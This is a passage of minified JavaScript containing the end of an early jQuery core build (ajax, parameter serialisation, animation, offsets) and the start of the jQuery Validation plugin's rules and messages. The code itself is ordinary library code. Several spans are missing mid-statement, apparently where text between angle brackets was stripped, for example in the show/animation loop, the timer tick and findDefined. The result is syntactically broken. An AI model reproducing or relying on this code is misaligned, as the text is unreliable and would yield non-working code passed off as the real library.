").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this}, +serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), +function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href, +global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&& +e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)? +"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache=== +false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B= +false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since", +c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E|| +d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x); +g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status=== +1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b=== +"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional; +if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration=== +"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]|| +c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start; +this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now= +this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem, +e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
"; +a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b); +c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a, +d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top- +f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset": +"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in +e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window); + + +(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return} +var validator=$.data(this[0],"validator");if(validator){return validator} +validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, button").filter(":submit").click(function(){validator.submitButton=this})} +this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)} +validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()} +return false} +return true} +if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()} +if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false} +return handle()}else{validator.focusInvalid();return false}})} +return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)} +break;case"remove":if(!argument){delete staticRules[element.name];return existingRules} +var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}} +var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)} +return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}} +if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)} +if(params.constructor!=Array){params=[params]} +$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])} +$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])} +this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])} +return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true} +if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)} +this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})} +this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})} +this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()} +this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++} +return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false} +rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]} +var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue} +dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return} +if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}} +if(dependencyMismatch){return} +if(this.objectLength(rules)){this.successList.push(element)} +return true},customMetaMessage:function(element,method){if(!$.metadata){return} +var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)} +this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))} +return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)} +if(this.errorList.length){this.toShow=this.toShow.add(this.containers)} +if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}} +if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}} +this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()} +if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}} +if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)} +this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}} +return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0} +delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}} +if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength} +return rules},metadataRules:function(element){if(!$.metadata){return{}} +var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}} +return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return} +if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break} +if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max} +if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}} +if(rules.messages){delete rules.messages} +return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed} +return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"} +switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0} +default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"} +var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}} +this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)} +previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}} +return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return 